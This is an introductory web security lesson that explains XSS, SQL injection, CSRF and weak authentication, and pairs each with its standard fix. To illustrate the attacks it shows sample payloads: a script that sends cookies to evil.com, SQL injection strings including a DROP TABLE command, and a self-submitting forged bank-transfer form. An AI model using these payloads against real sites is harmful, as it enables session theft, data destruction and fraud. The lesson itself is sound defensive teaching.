Unit 3 · Scripting & Storage

Lesson · Unit 3 · 9 min read

Web security 101, the four mistakes that break most apps.

You can't ship a web app without thinking about security. Four classic categories of attack cover most real-world breaches. Here's what each one is, how it works, and the simple patterns that defeat it.

Section · 01

The threat model

A few baseline assumptions before we begin:

1. Anyone can read your client code.
2. Anyone can craft any HTTP request and send it to your server.
3. Anyone can submit any text as input — including HTML, JS, SQL.
4. The user's browser may have a malicious extension or compromised JS running.
5. Your CDN, third-party scripts, and dependencies can also be compromised.

Security is about making the cost of attack exceed the value of the target. You can’t be invulnerable. You can be much harder than the next guy.

Section · 02

XSS — Cross-Site Scripting

XSS happens when an attacker gets their JavaScript to run inside your page — usually by submitting it as a comment, profile field, or URL parameter and you rendering it without escaping.

// User submits this as their "bio":
<script>fetch("https://evil.com/?c=" + document.cookie)</script>

// Your code:
profileDiv.innerHTML = user.bio;   // ← BOOM. Their script runs on your page.

The fix

profileDiv.textContent = user.bio;   // safe — treats it as plain text

// Or in a template engine / React, output user content as text by default:
<div>{user.bio}</div>                // React escapes this automatically

Two more layers of defense: serve a Content-Security-Policy header that restricts where scripts can come from, and put session cookies behind HttpOnlyso even successful XSS can’t steal them.

Section · 03

SQL injection

SQL injectionhappens when user input gets concatenated into a SQL query and changes the query’s structure.

// VULNERABLE
const query = "SELECT * FROM users WHERE email = '" + email + "'";

// Attacker submits: '  OR '1'='1
// Becomes: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns every user.

// Worse: '; DROP TABLE users; --
// Becomes: SELECT * FROM users WHERE email = ''; DROP TABLE users; --'

The fix — parameterized queries, always

// Safe — input is passed separately, can't change query structure
const result = await pool.query(
  "SELECT * FROM users WHERE email = $1",
  [email]
);

// Or via an ORM:
await prisma.user.findUnique({ where: { email } });   // safe by construction

The rule is mechanical: never build SQL by string concatenation with user input. Parameterized queries cost nothing, support every database, and prevent the entire class of attack.

Section · 04

CSRF — Cross-Site Request Forgery

CSRF attacks abuse the fact that browsers automatically send your cookies with every request to your domain — even requests initiated from another site.

Attacker hosts evil.com with a hidden form:

  <form action="https://yourbank.com/transfer" method="POST">
    <input name="to" value="attacker_account" />
    <input name="amount" value="10000" />
  </form>
  <script>document.forms[0].submit()</script>

A victim who is logged into yourbank.com visits evil.com.
The form auto-submits.
The browser sends their bank cookie along.
The bank does the transfer.

The fixes

SameSite=Lax (or Strict) on session cookies — defeats almost all CSRF in modern browsers.
CSRF tokens — embed a random token in every form; server verifies it.
Check the Origin / Referer header on state-changing requests.

SameSite=Laxalone defeats most CSRF — it tells the browser to send the cookie only on top-level navigations from your site, not from third-party forms. Use tokens too if you’re storing money or anything irreversible.

Section · 05

Broken auth & weak passwords

Common failures:

- Storing passwords in plaintext (yes, this still happens)
- Storing passwords as MD5 or SHA1 (fast hashes; crackable in seconds)
- Not rate-limiting login attempts (lets attackers try millions of passwords)
- Long-lived sessions with no logout-everywhere option
- No multi-factor authentication option

The fixes

Hashing — use bcrypt, argon2, or scrypt. Never MD5/SHA1/SHA256 directly.
Rate limit — 5 wrong attempts → 15-minute lockout, or exponential backoff.
Session expiration — sessions should expire (and rotate on privilege escalation).
2FA — TOTP (Authy, Google Authenticator) for any account that matters.
Use a battle-tested auth library — don't roll your own. Auth.js, Clerk, Supabase Auth, Lucia.

Section · 06

The shortlist of what else to do

Always:
  HTTPS on everything (Let's Encrypt is free)
  Secure HttpOnly SameSite cookies for sessions
  Parameterized queries
  Escape output (textContent / framework defaults)
  Rate-limit auth endpoints
  Hash passwords with bcrypt/argon2
  Validate input on the server
  Keep dependencies updated (npm audit, dependabot)

Worth setting up:
  Content-Security-Policy header
  HSTS header (force HTTPS for a year)
  X-Frame-Options: DENY (prevents clickjacking)
  Logging + alerting on suspicious activity
  A way to revoke individual sessions

When you grow:
  Penetration tests
  Bug bounty program
  WAF (Web Application Firewall)
  Regular dependency + secrets audits

Section · 07

What's next

You now have the foundation for everything else in web development. Frameworks, build tools, accessibility audits, performance tuning, infrastructure — they’re all just deeper variants of what you’ve already touched.

The next step isn’t another tutorial. Pick a project — a personal site, a tool you wish existed, a clone of something you use — and build it. You will get stuck. You will Google things. You will read other people’s code. That’s the work. Don’t skip it. Go build.